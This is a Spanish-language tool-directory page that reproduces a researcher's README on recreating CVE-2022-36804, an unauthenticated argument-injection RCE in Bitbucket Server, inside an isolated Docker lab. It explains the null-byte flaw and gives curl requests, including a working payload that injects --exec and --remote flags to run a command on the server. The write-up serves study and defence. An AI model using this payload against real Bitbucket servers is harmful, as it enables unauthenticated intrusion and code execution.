Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
bitbucket-test — Investigating CVE-2022-36804 | Kitploit
Herramientas/GitHubGitHub/johangabrielson/bitbucket-test
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationLabs & Practice
GitHubjohangabrielson/bitbucket-test

bitbucket-test

Investigating CVE-2022-36804

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Contenedor Docker para investigar CVE-2022-36804

Recreando una vulnerabilidad de ejecución remota de código donde Bitbucket no sanitiza la entrada del usuario, lo que permite a los atacantes inyectar flags de Git y ejecutar código de forma remota.

Este repositorio documenta cómo reproduje la vulnerabilidad CVE-2022-36804, un problema de inyección de argumentos sin autenticación en Bitbucket Server. El objetivo era demostrar el problema de seguridad subyacente tal como se describe en el informe público de Assetnote. Todas las pruebas se realizaron en un entorno local aislado.

Resumen

CVE-2022-36804 se debe a que Bitbucket pasa la entrada del usuario directamente a un subproceso de git archive sin sanitizar los bytes nulos. Debido a que Bitbucket usa NuProcess para lanzar git, los bytes nulos se conservan y provocan la división de argumentos. Esto permite a un atacante inyectar flags adicionales de git en el comando. En versiones vulnerables (como la 7.21.0 usada en esta configuración) esto conduce a la ejecución remota de código sin autenticación.

Explicación de CVE-2022-36804

Esta vulnerabilidad de ejecución remota de código sin autenticación ocurre en el endpoint /archive, que es el responsable de generar archivos de repositorio con la función de git archive. Bitbucket pasa el parámetro prefix directamente al subproceso de git, pero sin sanitizar los bytes nulos. Dado que git está implementado en C, un byte nulo termina la cadena antes de tiempo. Por lo tanto, todo lo que esté después del byte nulo se interpreta como un argumento de línea de comandos separado. Esto permite al atacante inyectar flags arbitrarios de git en el comando.

Esto funciona porque Bitbucket usa NuProcess, que conserva los bytes nulos en lugar de eliminarlos. Como resultado, Git recibe la entrada cruda exactamente tal como la proporciona el usuario. Dado que git trata los bytes nulos como terminadores de cadena, el valor de prefix se divide en múltiples argumentos cuando se pasa al subproceso de git. Esto permite colar flags adicionales de git después del byte nulo. Cuando se combina con flags como --exec y --remote, esta inyección de argumentos conduce directamente a la ejecución remota de código en versiones vulnerables de Bitbucket Server.

Configuración del laboratorio

  • Versión de Bitbucket 7.21.0
  • Despliegue: Docker Compose
  • Repositorio: repositorio de prueba público (TEST/demo)
  • Host: entorno de laboratorio local aislado

Para iniciar el entorno:

root@kitploit:~
docker compose up -d

Verificar versión:

root@kitploit:~
cat /opt/atlassian/bitbucket/VERSION

Demostración de la vulnerabilidad

La clave de esta CVE es demostrar que un byte nulo en el parámetro prefix hace que Bitbucket pase múltiples argumentos a git archive.

  1. Ejecuta pspy dentro del contenedor de Bitbucket
root@kitploit:~
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

Deja pspy ejecutándose.

  1. Llama al endpoint vulnerable desde el host:
root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"

Esto comprueba si el byte nulo provoca la división de argumentos.

  1. Observa los argumentos inyectados

En pspy, Bitbucket genera:

root@kitploit:~
/usr/bin/git archive --format=zip --prefix=test canary/ -- 

Aquí test y canary aparecen como argumentos separados en lugar de uno solo. El %00 dividió la entrada y Bitbucket se ve obligado a pasarlos como argumentos independientes a git.

La siguiente imagen muestra pspy ejecutándose dentro del contenedor Docker de Bitbucket capturando /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). Lo que se envió como un solo valor - test%00canary - se pasa como dos argumentos separados. El byte nulo dividió la entrada, lo que cuela un argumento adicional en el comando git.

Captura de pantalla 2026-03-30 191936
  1. Prueba completa de RCE:

Al inyectar --exec=touch /tmp/pwned y --remote=file:///... mediante bytes nulos, el servidor ejecuta un comando arbitrario. Aunque git termina con el código 128, el comando se ejecuta antes de que git muestre el error y se crea /tmp/pwned dentro del contenedor. Payload:

root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"   

La siguiente imagen muestra pspy capturando la cadena de ejecución completa: /usr/bin/git archive ejecutándose con los argumentos --exec y --remote (PID=74412), lanzando /bin/sh touch /tmp/pwned (PID=74413). Captura de pantalla 2026-04-12 165103

Con docker exec -it bitbucket ls -la /tmp/pwned fue posible verificar que el archivo se creó. Esto se muestra en la siguiente imagen. Captura de pantalla 2026-04-12 164846

Referencias

  • Assetnote: RCE pre-autenticación en Bitbucket mediante inyección de argumentos en git
    • https://www.assetnote.io/resources/research/breaking-bitbucket-pre-auth-remote-command-execution-cve-2022-36804
  • CVE-2022-36804
    • https://nvd.nist.gov/vuln/detail/CVE-2022-36804

Autor

Johan - Estocolmo, Suecia

Descargar herramienta